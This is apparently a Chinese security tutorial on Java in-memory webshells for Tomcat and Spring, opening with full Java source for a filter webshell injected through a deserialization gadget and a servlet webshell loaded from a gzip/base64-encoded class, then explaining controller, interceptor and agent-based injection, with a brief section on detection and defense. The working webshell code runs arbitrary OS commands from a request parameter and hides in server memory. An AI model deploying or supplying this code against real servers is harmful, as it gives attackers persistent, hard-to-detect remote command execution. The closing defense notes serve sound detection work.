import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class FilterTomcatShellInject extends AbstractTranslet implements Filter {

    /**
     * webshell命令参数名
     */
    private final String cmdParamName = "r2cmd";
    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "xxxxx";

    static {
        try {
            javax.servlet.ServletContext servletContext = _getServletContext();
            if (servletContext != null) {
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
                Object standardContext = null;
                //判断是否已有该名字的filter,有则不再添加
                if (servletContext.getFilterRegistration(filterName) == null) {
                    //遍历出标准上下文对象
                    for (; standardContext == null; ) {
                        java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        Object o = contextField.get(servletContext);
                        if (o instanceof javax.servlet.ServletContext) {
                            servletContext = (javax.servlet.ServletContext) o;
                        } else if (c.isAssignableFrom(o.getClass())) {
                            standardContext = o;
                        }
                    }
                    if (standardContext != null) {
                        //修改状态,要不然添加不了
                        java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                        stateField.setAccessible(true);
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                        //创建一个自定义的Filter马
                        Filter filter = new FilterTomcatShellInject();
                        //添加filter马
                        javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter(filterName, filter);
                        filterRegistration.setInitParameter("encoding", "utf-8");
                        filterRegistration.setAsyncSupported(false);
                        filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{"/*"});
                        //状态恢复,要不然服务不可用
                        if (stateField != null) {
                            stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                        }

                        if (standardContext != null) {
                            //生效filter
                            Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                                .getMethod("filterStart");
                            filterStartMethod.setAccessible(true);
                            filterStartMethod.invoke(standardContext, null);

                            Class ccc = null;
                            try {
                                ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                            } catch (Throwable t){}
                            if (ccc == null) {
                                try {
                                    ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                                } catch (Throwable t){}
                            }
                            //把filter插到第一位
                            Method m = c.getMethod("findFilterMaps");
                            Object[] filterMaps = (Object[]) m.invoke(standardContext);
                            Object[] tmpFilterMaps = new Object[filterMaps.length];
                            int index = 1;
                            for (int i = 0; i < filterMaps.length; i++) {
                                Object o = filterMaps[i];
                                m = ccc.getMethod("getFilterName");
                                String name = (String) m.invoke(o);
                                if (name.equalsIgnoreCase(filterName)) {
                                    tmpFilterMaps[0] = o;
                                } else {
                                    tmpFilterMaps[index++] = filterMaps[i];
                                }
                            }
                            for (int i = 0; i < filterMaps.length; i++) {
                                filterMaps[i] = tmpFilterMaps[i];
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static ServletContext _getServletContext()
        throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    public void init(FilterConfig filterConfig) throws ServletException {

    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
        FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter(cmdParamName);
        if(cmd==null&&cmd.trim().length()==0){
            filterChain.doFilter(servletRequest,servletResponse);
            return;
        }
        String[] cmds;
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else if (osName.startsWith("Windows")) {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                cmds = new String[]{"/bin/bash", cmd};
            }else{
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }
        }
        System.out.println(Arrays.toString(cmds));
        java.io.PrintWriter out=null;
        try {
            out = servletResponse.getWriter();
            InputStream in = null;
            try{
                in = Runtime.getRuntime().exec(cmds).getInputStream();
            }catch (Exception e){
                System.out.println("2");
//                System.out.println(e);
//                e.printStackTrace(out);
//                out.flush();
            }finally {
                if(in!=null){
                    in.close();
                }
            }
            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            out.println(output);
        } catch (IOException e) {
        }
//        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {

    }
}    

servlet

在注册servlet时,就没那么简单了。因为恶意类本身要继承AbstractTranslet(反序列化gadget需要),而想要成为Servlet又得继承HttpServlet。Java不允许多继承,因此不太好操作。

这里采用的做法是另外定义一个类A去继承HttpServlet,让恶意类B继承AbstractTranslet,然后让B去加载A,实现servlet的注册。

注意,加载时最好将A类的class文件内容转换成一个byte数组来加载,否则可能因为靶机没有这个类导致ClassNotFound Exception

类A

package ysoserial.payloads.memshell.shellcode;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.GZIPOutputStream;

public class TomcatShellServlet extends HttpServlet {
    private final String cmdParamName = "r2cmd";



    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
        servletResponse.setContentType("text/plain;charset=utf-8");
        String cmd = servletRequest.getParameter(cmdParamName);
        String[] cmds;
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else if (osName.startsWith("Windows")) {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                cmds = new String[]{"/bin/bash", cmd};
            }else{
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }
        }
        java.io.PrintWriter out=null;
        InputStream in = null,err=null;
        try {
            out = servletResponse.getWriter();
            Process exec = Runtime.getRuntime().exec(cmds);
            in = exec.getInputStream();
            err = exec.getErrorStream();
            java.util.Scanner outputScanner = new java.util.Scanner(in).useDelimiter("\\a");
            java.util.Scanner errScanner = new java.util.Scanner(err).useDelimiter("\\a");
            String output = outputScanner.hasNext() ? outputScanner.next() : "";
            out.println(output);
            String error = errScanner.hasNext() ? errScanner.next() : "";
            out.println(error);
        } catch (IOException e) {
            if(out!=null){
                e.printStackTrace(out);
            }
        }finally {
            if(in!=null){
                try {
                    in.close();
                } catch (IOException e) {
                    e.printStackTrace(out);
                }
            }
        }
    }


    public static void main(String[] args) throws IOException {
        InputStream in = TomcatShellServlet.class.getClassLoader().getResourceAsStream("ysoserial/payloads/memshell/shellcode/TomcatShellServlet.class");
        byte[] bytes = new byte[in.available()];
        in.read(bytes);
        // 将字节压缩下
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        GZIPOutputStream gzipOutputStream=new GZIPOutputStream(byteArrayOutputStream);
        gzipOutputStream.write(bytes);
        gzipOutputStream.close();
        System.out.println(java.util.Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
    }
}

类B

package ysoserial.payloads.memshell.tomcat;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ServletTomcatShellInject extends AbstractTranslet {


    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String servletUrlPattern = "/r2MemShell";
    private final static String servletName = "r2MemShell";

    static {
        try {
            javax.servlet.ServletContext servletContext = _getServletContext();
            if (servletContext != null) {
                // 如果已有此 servletName 的 Servlet,则不再重复添加
                if (servletContext.getServletRegistration(servletName) == null) {

                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }
                    try{
                        Class<HttpServlet> clazz = defineClass();
                        // 创建自定义 Servlet
                        // 使用 Wrapper 封装 Servlet
                        Wrapper wrapper = o.createWrapper();
                        wrapper.setName(servletName);
                        wrapper.setLoadOnStartup(1);
                        wrapper.setServlet(clazz.newInstance());
                        wrapper.setServletClass(clazz.getName());

                        // 向 children 中添加 wrapper
                        o.addChild(wrapper);

                        // 添加 servletMappings
                        o.addServletMappingDecoded(servletUrlPattern, servletName);
                    }catch (Exception e){

                    }

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Class<HttpServlet> defineClass() throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException {
        java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
        java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class});
        defineClass.setAccessible(true);
        String evalBase64 = "H4sIAAAAAAAAAKVYeVxU1xX+LjDcmccDZBBhXBJiiA4gTOruoEZRNLYIxiFaNF0ewwu8ZDbfe6OQdN/3tGnTarpvsbGraTNojLFtWtOm+273Nl3T5r/+21/sd98MwyAD/SMw3OVs75zvnHvuG55+/rEnAKzHcxo24pgfdgDVcPxwa5DFcYkTNZjApB/3aLgXr/Lj1Rp0vEbitX68zo/X+/EGP97ox5sk3qwhiLeo4a1+vE2pv13DO/BONbxLw7vxHjXcJ/FeDcvwPj/uV/P71fABNTzgxwc1fAgnNZzCgxIf1tCGj2j4KD7mx8c1fAKfVJxPqeHTEp/R0IljEp/V0IWH1HBaDQ8G6OfnNDyMM0rg8xq+gC9q+BJOSnxZQI8nRw8YtpEcMJKmQLD/LuO4EUkYqbFIzLWt1FiPQO2udMpxjZR7yEhkKVS91UpZ7naBynD7IYGqXelRUuv7rZQ5kE2OmPaQMZLwjKXjRuKQYVtqXyBWueOWI7Czf9JJOyZZiUjGmEykjVEnkjSTzriZSETcdDJuuBFvE6f1yJBHiKl9zLSPJ0yXfknqH7fiNLoj7Pk9EXHyzEhB6KB5LGs6bs98XCfDyMweLwoCQb8aj5ZDoMqcMONklvAO2Om46TgKnnTWzWTdWNxIpUy7KJV1rUSkQKSUZtp2UaQ6ryLgIzVNgmAQTXk9Kx3ZN9g3ETczrpVOUbPOmRWMwHULB8tUOLMDFLj+/yDAXDJ+5ZiTL4TKtHJvxqUDRMI9bFuuF0yFlZrlb0rF79qmkVSWGBNRiblG/O79RsbLO88Hj47EVyTOSuyWeETiqxJfY/GzsCUeJcZJQ1ldEi6TAS9Bhj3GBPlGJl2Tc8XRXrqgNjtt25gczOfA82E6XOVabzkBOrlo7B4rM1uptSRvZEb2Htl34BotrZgXeqDF0lk7bu6xVFk3z63QbmVORxRU9Nlria+OTdgs0OKaE24kk2C8PfFxw3ZMd1vWvbNrM8HRkcOUwC0v8HQQaR3ncJ6HJO10p5hSicd0XFCU6v1GvHUwpuNxXCQQ14ItEIiMWKnIiOGME+Yu1r08bKVG0ycYs2QU3TwMZETI0KdhViCoUKd0PIFLlPNMOOM6vo5vSHxTx5P4lo4+fJtJ13EZT+n4Dp4SaJhzVpSZ79L+HcTuaXxPx/dxSccP8EMBsG50/AhTLB4dP1bANpY5Mzp+gp9K/EzHz/ELgb4XiGV3PGE4jsQvdfwKV3T8Gr/R8Vv8TmDFglXGg7pwQalIf6/jD/ijjiH8SeLPOp7B33T8Hf+Q+KeOZ/EviX8X7Mwc3nHXzURu5VBwUGD5Qg2h4Oe8h78ExJJTXgptqiSmhjktcFrSow2N2+kT+U7PvuXy5nDNlDs0mVENLlz+ZOtjpuvdQab33FXlxMp15dLSnXRck97VKFN2OmPa7iRPKG8t23UOW+74PE8/wuNgTliO63i3GbcBWphGoDncPk8DLEHhYDblWqplatQsbprCpS4XyFQMl21vZe+VOtqbBX2pO7NbrhLtUzfJtGhLuKykh3bWMXebCSuZj3H1/Ghfc4PJccMZYOdiK0550+Jw2bTIjIIqwV7uiyfSqr7qPYp3IQzZhrqwS/wrBVb5Vz9jcpc6ePnovGU/z67yOTTrwSUsPr2pLIM1OuZVvNeydzrTOLXPH/0ckAOkWol8bbNW9hEHcnhp+sJHe9U2NBPUrHtDReU7oSIsyB6ac7PO3EszyPcajrlxfb6u+lKqOTEMWVzp+1RevBjVfbg8XJq1vG5bQZh2a9x0sUnR8XC7uj5b5lMg5qa3GkpPXwpLlOPl0t1YJhDcwJfmjXyP5kuguvM4b+Gugr+VXPNK5LiVlC2ksK+jpmMKoiNY8Sgqz3qC2zhqnMG36yrUYru38kRxC3Z4pneiN2+m8lnKLCLp9jXBqvPwVaAzWHEesgIDQf85BKK+kC+o5VBzCkurL0IfrgzWxoargnWxYV9XLFp1GsMUqJ8lsEgJNBQFNl9AcDhYO4XGHBafQpNvxkxeoLmg11RqWESrRVSKqH/NeSxh3NXn0ByqyqElGggFcghFpZqWRv0XsGw4JKewPLgih+uimrf3F/c1IXp//Sl4c+tp+II3RPVQdUjPYWWopsCqKbJqyapVLHkZu0MyhxtPY2s0cBqb+Nzqy9BCnHK4SfHbCvzlit8crVO02gLNF60P1V06CykaRYtYxq8fJ0WdaEWbWCc2i57CnskQraLbm/eKfjFI/g7Rq/bMtkrkQ2jn2AA/q6EBi9GCJqzEEma/Gbu4O4KlsPiN516swH1oxf2sn5O4kd9w2nAGN+EsVvFlZjXfGMK4QlvPoQP/QaeQWCPqsFY0Yr1owSZ6uEGs4NyKLrES3WI1IqKb/HXkbya9h/xtnHeQtpe0fq4HSbuN8xCrUhVZjj5upN+7sJtFdbi4miiuzmCULzJ7EKA/e7AXt7JQr1BnH1c19G0lXsyK1+mdxEu4qqUvOvqxnxos0UL5qtUABlVJc3UAt7HYG8RuHKRGJVG4XHhaCz2OkeYjKk/yNeF2nqwH+FZ1iL5JonQRL+XKj2GafAaLnscWSTz519p6FY2oljgqcYfEy0iSeLli4ip19LkMiVdIvNL7GBIj/AA7Sf8vWjiq1VUmLrCAIhh0nG/38dr+/GL0KupQv5CG+qGcpymuEoQF7YMYmriTYqp7nCNSPs57gqzmVcHVOYT7O3Nof9y/v3NNDh2HL6BzeAprBi6ga7hrCt3RqlAVGRF1Bm9+BC86h7VdOazLYX0OG2YazyqVKVaDajVBZquFjaaV+ehgRm5m7jcw733M/HbvPwWeBxgjTzWnHi8zqu+txziruoKaq3AX7qavHViOBJLMaoqyVZRqIz/tPTeDv3otT/D7+cP4CwL/A04rYBiKEAAA";
        byte[] evalBytes = java.util.Base64.getDecoder().decode(evalBase64);
        java.io.ByteArrayInputStream byteInputStream = new java.io.ByteArrayInputStream(evalBytes);
        java.io.ByteArrayOutputStream byteOutputStream = new java.io.ByteArrayOutputStream();
        java.util.zip.GZIPInputStream gzipInputStream = new java.util.zip.GZIPInputStream(byteInputStream);
        byte[] buffer = new byte[1024];
        for (int i=-1;(i=gzipInputStream.read(buffer)) >0;){
            byteOutputStream.write(buffer,0,i);
        }
        byte[] bytes = byteOutputStream.toByteArray();
        return (Class<HttpServlet>) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});
    }



    private static ServletContext _getServletContext() throws Exception{
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

listener

listener与filter相同,都是需要实现接口,不再赘述。

spring

controller

以Spring MVC5.3.12来分析

RequestMappingHandlerMapping的afterPropertiesSet方法在这个对象的字段被设置好之后被调用,此时会对@Controller注解标注的类做一些注册操作,会调用MappingRegistry::register方法注册处理器方法。构造内存马的过程也就是模仿RequestMappingHandlerMapping对@Controller和@RequestMapping注解的处理过程,调用MappingRegistry::register方法注册处理器方法。

register:594, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 765420745 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$405)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 1807623441 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$161)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
refresh:141, ServletWebServerApplicationContext (org.springframework.boot.web.servlet.context)
refresh:747, SpringApplication (org.springframework.boot)
refreshContext:397, SpringApplication (org.springframework.boot)
run:315, SpringApplication (org.springframework.boot)
run:1226, SpringApplication (org.springframework.boot)
run:1215, SpringApplication (org.springframework.boot)
main:10, MemshellTestApplication (com.zfirm.memshelltest)

兼容性问题

如果想要写一个比较通用的内存马,适用于多个spring版本,那么就不得不考虑版本之间的兼容性问题。兼容性考虑分三个方面:容器、注解映射器、注册方法

容器

容器优先选择child context,这里引用LandGrey师傅的解释

Root Context 与 Child Context

上文展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 Child WebApplicationContext。

这是因为:根据习惯,在很多应用配置中注册Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。

这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。上文也提到过,Root Context无法访问Child Context中定义的 bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。

另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到Root WebApplicationContext的。

因此,我们在获取容器时,最好使用以下两种方法

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

注解映射器

Spring>=4.2.0: RequestMappingHandlerMapping(AbstractHandlerMethodMapping)
public void registerMapping(T mapping, Object handler, Method method);
protected void registerHandlerMethod(Object handler, Method method, T mapping);
Spring>=3.1: RequestMappingHandlerMapping(AbstractHandlerMethodMapping)

以3.1.0.RELEASE为例

protected void detectHandlerMethods(Object handler);
protected void registerHandlerMethod(Object handler, Method method, T mapping);
Spring<3.1: DefaultAnnotationHandlerMapping (AbstractUrlHandlerMapping)

以3.0.0.RELEASE为例

protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException;

interceptor

springmvc在处理请求时,获取处理器执行链的调用栈如下

getHandlerExecutionChain:477, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:406, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:1234, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1016, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:367, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:860, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1591, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

一开始比较好奇为什么不用配置拦截器拦截的url,看下面这段代码就清晰很多了。我们配置的TestInteceptor不继承于MappedInterceptor,因此无条件加入执行链。

image-20210928164515438

兼容性问题

这里的版本兼容问题与注入controller类似,都需要考虑容器和注解映射器。不同的是,在添加拦截器时,我们不需要去考虑方法级别的兼容,可以说不涉及到方法的调用,我们只需要去往AbstractHandlerMapping(即RequestMappingHandlerMapping和DefaultAnnotationHandlerMapping的n层父类)的adaptedInterceptors字段去注入拦截器对象即可。

这里有个坑点,在3.1.0以上的版本中,adaptedInterceptors字段引用类型为List,3.1.0以下的版本的adaptedInterceptors字段引用类型为HandlerInterceptor数组,写的时候没注意这点导致被坑了好久。这里想吐槽一下jdk给出的报错信息,反射设置对象时,传入的字段值与字段实际引用类型不相符的时候,抛出的异常是cannot set field of xxx to null,也就是说jdk把我们传入的错误类型变成了null,有点坑。

agent

基于agent实现的内存马我认为是众多内存马实现方式中最为通用的一个。上文在写spring内存马的时候提到了很多兼容性问题,不同版本的springmvc提供的api不太相同,导致我们需要去处理非常繁杂的版本兼容问题。如果目标系统没有使用spring框架,那么我们就有些束手无策。不过,你当然可以试试植入tomcat的内存马,但是这样做仍然只是治标不治本。说到底,就是内存马植入与目标系统的实现耦合在了一起。相比之下,基于agent的内存马具有两点好处

  1. 不依赖于具体web服务器实现,无论是tomcat、jetty还是undertow,都可以通吃
  2. 不依赖于具体web框架,无论使原生servlet写的网站还是使用了spring框架,都可以通吃

有了这两点好处,使得基于agent实现的内存马非常通用,再也不需要考虑目标系统的框架、版本、服务器等问题。

实现原理

agent内存马的实现离不开两大技术,一是JVM Instrumentation,二是字节码修改库

JVM Instrumentation是java语言提供的一种api,它给编程者提供了一系列操控、监视jvm的接口。我们在内存马的实现过程中,主要用到的功能就是,书写类加载的回调函数,当触发类加载需要读取类的字节码时,执行我们的回调函数,我们在回调函数中对字节码做修改,加上我们的恶意代码,然后再返回给类加载器进行加载。同时,我们还可以手动调用api,触发已经加载类的重新加载。

实际上这里说到的JVM Instrumentation的原理还是比较粗浅的,不太准确,详细请参看javaagent那篇文章。

字节码修改库比较出名的有两种,asm和javaassist。前面提到了我们需要在类加载的回调函数中修改字节码,这项工作如果要我们自行编程实现是非常复杂的,所以我们需要借助工具。这里主要用到javaassist,我们只需要将我们想添加的java源代码准备好,传给javaassist的api,他就可以帮我们实现代码植入的功能。

有了这两大技术,就可以来梳理一下内存马的实现逻辑

  1. 找到目标jvm进程,注入agent
  2. 创建ClassFileTransformer,准备好回调函数
  3. 手动触发要修改的类重新加载
  4. 触发ClassFileTransformer的回调函数
  5. 使用字节码修改工具修改字节码,添加恶意代码
  6. 返回修改后的字节码给类加载器,完成类加载

工具源码阅读

在学习过程中,掌握了JVM Instrumentation和字节码修改库基本使用之后,就可以去看看现存工具的源码实现。我看到两个比较不错的植入agent内存马的工具,一是rebeyond师傅的memShell,二是三梦师傅的ZhouYu

前者出现的非常早,四年前rebeyond师傅就开始玩内存马了,可以说是这方面的先驱。当然,因为比较早出现,所以其中还是会存在一些小问题。

后者比较新,也积累了前人的经验做了一些改进,最明显的就是将恶意代码植入jar包和防止后续agent加载

通过这些工具源码的阅读,基本上也就对agent类型内存马注入方式了解的七七八八了。

防御思路

  • 针对需要调用方法注入内存马的类型(如servlet),可以hook对应的方法来防注入。弊端是容易被绕过,像filter这类不需要调用方法注入的就能绕过,而且容易hook不全。

  • 找磁盘文件,如果没有磁盘文件落地,很可能是内存马。缺点是可以通过重写getResource方法进行绕过。

  • 使用sa-jdi.jar找出可能是内存马的类,然后用dumpclass dump出来审计。然后再写一个agent将内存马类转换为磁盘上原来的类即可。这种情况主要是针对agent类型的字节码。

如果肯话费人工审计的成本,可以使用三梦师傅写的copagent来减轻人工审计的工作量。贴一下我阅读copagent源码时总结的流程图

image-20211101170524118

参考文章

Tomcat之Servlet内存马

基于tomcat的内存 Webshell 无文件攻击技术

